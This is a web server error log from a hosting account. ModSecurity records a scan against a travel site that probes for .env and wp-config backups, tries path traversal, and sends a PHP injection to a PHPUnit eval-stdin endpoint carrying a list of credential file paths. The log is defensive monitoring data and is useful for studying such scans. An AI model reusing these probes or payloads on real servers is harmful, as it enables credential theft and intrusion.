[Fri Jul 17 08:55:17.401346 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "\\\\b(?:if(?:/i)?(?: not)?(?: exist\\\\b| defined\\\\b| errorlevel\\\\b| cmdextversion\\\\b|(?: |\\\\().*(?:\\\\bgeq\\\\b|\\\\bequ\\\\b|\\\\bneq\\\\b|\\\\bleq\\\\b|\\\\bgtr\\\\b|\\\\blss\\\\b|==))|for(?:/[dflr].*)? %+[^ ]+ in\\\\(.*\\\\)\\\\s?do)" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "413"] [id "932140"] [msg "Remote Command Execution: Windows FOR/IF Command Found"] [data "Matched Data: if($c!== found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: array(.env ../.env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/database.php ../config/database.php application/database.php ../application/database.php ../application/config.php ../application/extra/database.php app/etc/env.php sites/default/settings.php configuration.php ../.aws/creden..."] [severity "CRITICAL"] [v [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.401672 2026] [hostinglimits:warn] [pid 1993572:tid 1993572] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993572) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.403190 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.backup.save"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.backup.save"] [unique_id "almgnYbYoYGvYnmnM82CFQAAAAs"]
[Fri Jul 17 08:55:17.403278 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. String match within ".asa/ .asax/ .ascx/ .axd/ .backup/ .bak/ .bat/ .cdx/ .cer/ .cfg/ .cmd/ .com/ .config/ .conf/ .cs/ .csproj/ .csr/ .dat/ .db/ .dbf/ .dll/ .dos/ .htr/ .htw/ .ida/ .idc/ .idq/ .inc/ .ini/ .key/ .licx/ .lnk/ .log/ .mdb/ .old/ .pass/ .pdb/ .pol/ .printer/ .pwd/ .rdb/ .resources/ .resx/ .sql/ .swp/ .sys/ .vb/ .vbs/ .vbproj/ .vsdisco/ .webinfo/ .xsd/ .xsx/" at TX:extension. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-920-PROTOCOL-ENFORCEMENT.conf"] [line "1055"] [id "920440"] [msg "URL file extension is restricted by policy"] [data ".backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-protocol"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/210/272"] [tag "PCI/6.5.10"] [hostname "2s-travels.com"] [uri "/.env.production.backup"] [unique_id "almgne1pLmPpy2r_2CxfOgAAAA8"]
[Fri Jul 17 08:55:17.403492 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.backup.save"] [unique_id "almgnYbYoYGvYnmnM82CFQAAAAs"]
[Fri Jul 17 08:55:17.403595 2026] [hostinglimits:warn] [pid 2029573:tid 2029573] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2029573) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.403643 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.backup"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.backup"] [unique_id "almgne1pLmPpy2r_2CxfOgAAAA8"]
[Fri Jul 17 08:55:17.403723 2026] [security2:error] [pid 2029573:tid 2029573] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnYbYoYGvYnmnM82CFQAAAAs"]
[Fri Jul 17 08:55:17.404059 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.backup"] [unique_id "almgne1pLmPpy2r_2CxfOgAAAA8"]
[Fri Jul 17 08:55:17.404188 2026] [hostinglimits:warn] [pid 2030803:tid 2030803] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030803) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.404344 2026] [security2:error] [pid 2030803:tid 2030803] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgne1pLmPpy2r_2CxfOgAAAA8"]
[Fri Jul 17 08:55:17.405231 2026] [authz_core:error] [pid 2030798:tid 2030798] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/.wp-config.php.bak
[Fri Jul 17 08:55:17.405340 2026] [hostinglimits:warn] [pid 1993671:tid 1993671] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993671) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.405359 2026] [hostinglimits:warn] [pid 2030798:tid 2030798] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2030798) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.406148 2026] [authz_core:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] AH01630: client denied by server configuration: /home/stravel1/public_html/wp-config.php.disabled
[Fri Jul 17 08:55:17.406247 2026] [hostinglimits:warn] [pid 2019501:tid 2019501] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2019501) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.407022 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env.production.tmp"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env.production.tmp"] [unique_id "almgnQ7FYe46zHK_jL3PxQAAABk"]
[Fri Jul 17 08:55:17.407403 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env.production.tmp"] [unique_id "almgnQ7FYe46zHK_jL3PxQAAABk"]
[Fri Jul 17 08:55:17.407436 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /static../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnXRlmrtCoY_COpcl1AAAAAg"]
[Fri Jul 17 08:55:17.407522 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnXRlmrtCoY_COpcl1AAAAAg"]
[Fri Jul 17 08:55:17.407545 2026] [hostinglimits:warn] [pid 2013829:tid 2013829] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2013829) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.407734 2026] [security2:error] [pid 2013829:tid 2013829] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnQ7FYe46zHK_jL3PxQAAABk"]
[Fri Jul 17 08:55:17.407743 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?i)(?:\\\\x5c|(?:%(?:c(?:0%(?:[2aq]f|5c|9v)|1%(?:[19p]c|8s|af))|2(?:5(?:c(?:0%25af|1%259c)|2f|5c)|%46|f)|(?:(?:f(?:8%8)?0%8|e)0%80%a|bg%q)f|%3(?:2(?:%(?:%6|4)6|F)|5%%63)|u(?:221[56]|002f|EFC8|F025)|1u|5c)|0x(?:2f|5c)|\\\\/))(?:%(?:(?:f(?:(?:c%80|8)%8)?0%8 ..." at REQUEST_URI_RAW. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "48"] [id "930100"] [msg "Path Traversal Attack (/../)"] [data "Matched Data: /../ found within REQUEST_URI_RAW: /assets../../.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnVCBpfuYyhJ140vSlAAAAB4"]
[Fri Jul 17 08:55:17.407778 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnXRlmrtCoY_COpcl1AAAAAg"]
[Fri Jul 17 08:55:17.407865 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnVCBpfuYyhJ140vSlAAAAB4"]
[Fri Jul 17 08:55:17.407877 2026] [hostinglimits:warn] [pid 1993715:tid 1993715] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993715) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.408031 2026] [security2:error] [pid 1993715:tid 1993715] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnXRlmrtCoY_COpcl1AAAAAg"]
[Fri Jul 17 08:55:17.408251 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 10)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/.env"] [unique_id "almgnVCBpfuYyhJ140vSlAAAAB4"]
[Fri Jul 17 08:55:17.408396 2026] [hostinglimits:warn] [pid 2018768:tid 2018768] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018768) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.408571 2026] [security2:error] [pid 2018768:tid 2018768] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 10 - SQLI=0,XSS=0,RFI=0,LFI=10,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 10, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnVCBpfuYyhJ140vSlAAAAB4"]
[Fri Jul 17 08:55:17.410873 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "proc/self/" at ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-932-APPLICATION-ATTACK-RCE.conf"] [line "501"] [id "932160"] [msg "Remote Command Execution: Unix Shell Code Found"] [data "Matched Data: proc/self/ found within ARGS:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: .env ../../.env ../../../.env .env.local .env.production ../.env.local ../.env.production ../../.env.production wp-config.php ../wp-config.php ../../wp-config.php config/app.php config/config/database.php application/application/application/application/extra/database.php app/etc/env.php sites/default/.aws/credentials/var/www/html/.env/var/www/html/.env.local/var/www/html/.env.production/var/www/html/.env.backup/var/ww..."] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-shell"] [tag "platform-unix"] [tag "attack-rce"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/248/88"] [tag "PCI/6.5.2 [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.411475 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/assets../.env"] [unique_id "almgnY1dLClkUfK_dfHkvQAAAAI"]
[Fri Jul 17 08:55:17.411767 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/assets../.env"] [unique_id "almgnY1dLClkUfK_dfHkvQAAAAI"]
[Fri Jul 17 08:55:17.411894 2026] [hostinglimits:warn] [pid 1993619:tid 1993619] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(1993619) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.411940 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/media../.env"] [unique_id "almgnS0HS8lGbZyK8qt3BQAAACM"]
[Fri Jul 17 08:55:17.412014 2026] [security2:error] [pid 1993619:tid 1993619] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnY1dLClkUfK_dfHkvQAAAAI"]
[Fri Jul 17 08:55:17.412356 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-949-BLOCKING-EVALUATION.conf"] [line "94"] [id "949110"] [msg "Inbound Anomaly Score Exceeded (Total Score: 5)"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-generic"] [hostname "2s-travels.com"] [uri "/media../.env"] [unique_id "almgnS0HS8lGbZyK8qt3BQAAACM"]
[Fri Jul 17 08:55:17.412498 2026] [hostinglimits:warn] [pid 2018770:tid 2018770] mod_hostinglimits: Error on LVE enter: LVE(1097) HANDLER(proxy:unix:/opt/cpanel/ea-php81/root/usr/var/run/php-fpm/972b008c26ac1dc6afa9a4661f96cfa74792215e.sock|fcgi://2s-travels.com) HOSTNAME(2s-travels.com) URL(/index.php) TID(2018770) errno (7) MHL-E2BIG - entry processes limit reached, read more: https://docs.cloudlinux.com/cloudlinux_os_components/#errors min_uid (1000)
[Fri Jul 17 08:55:17.412667 2026] [security2:error] [pid 2018770:tid 2018770] [client 103.168.66.101:0] ModSecurity: Warning. Operator GE matched 5 at TX:inbound_anomaly_score. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/RESPONSE-980-CORRELATION.conf"] [line "92"] [id "980130"] [msg "Inbound Anomaly Score Exceeded (Total Inbound Score: 5 - SQLI=0,XSS=0,RFI=0,LFI=5,RCE=0,PHPI=0,HTTP=0,SESS=0): individual paranoia level scores: 5, 0, 0, 0"] [ver "OWASP_CRS/3.3.9"] [tag "event-correlation"] [hostname "2s-travels.com"] [uri "/index.php"] [unique_id "almgnS0HS8lGbZyK8qt3BQAAACM"]
[Fri Jul 17 08:55:17.413290 2026] [security2:error] [pid 2029579:tid 2029579] [client 103.168.66.101:0] ModSecurity: Warning. Pattern match "(?:<\\\\?(?:[^x]|x[^m]|xm[^l]|xml[^\\\\s]|xml$|$)|<\\\\?php|\\\\[(?:\\\\/|\\\\\\\\)?php\\\\])" at ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-933-APPLICATION-ATTACK-PHP.conf"] [line "66"] [id "933100"] [msg "PHP Injection Attack: PHP Open Tag Found"] [data "Matched Data: <?p found within ARGS_NAMES:<?php echo 'AHMADSCAN_PHPUNIT_cf888575';$fs: <?php echo 'ahmadscan_phpunit_cf888575';$fs"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-php"] [tag "platform-multi"] [tag "attack-injection-php"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/152/242"] [hostname "2s-travels.com"] [uri "/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php"] [unique_id "almgnSRF0UOO1RzB5_8uAgAAAA4"]
[Fri Jul 17 08:55:17.414256 2026] [security2:error] [pid 2019501:tid 2019501] [client 103.168.66.101:0] ModSecurity: Warning. Matched phrase "/.env" at REQUEST_FILENAME. [file "/etc/apache2/conf.d/modsec_vendor_configs/OWASP3/rules/REQUEST-930-APPLICATION-ATTACK-LFI.conf"] [line "125"] [id "930130"] [msg "Restricted File Access Attempt"] [data "Matched Data: /.env found within REQUEST_FILENAME: /.env"] [severity "CRITICAL"] [ver "OWASP_CRS/3.3.9"] [tag "application-multi"] [tag "language-multi"] [tag "platform-multi"] [tag "attack-lfi"] [tag "paranoia-level/1"] [tag "OWASP_CRS"] [tag "capec/1000/255/153/126"] [tag "PCI/6.5.4"] [hostname "2s-travels.com"] [uri "/files../.env"] [unique_id "almgnbEWOaI5pmYo9fnO3QAAAAA"]
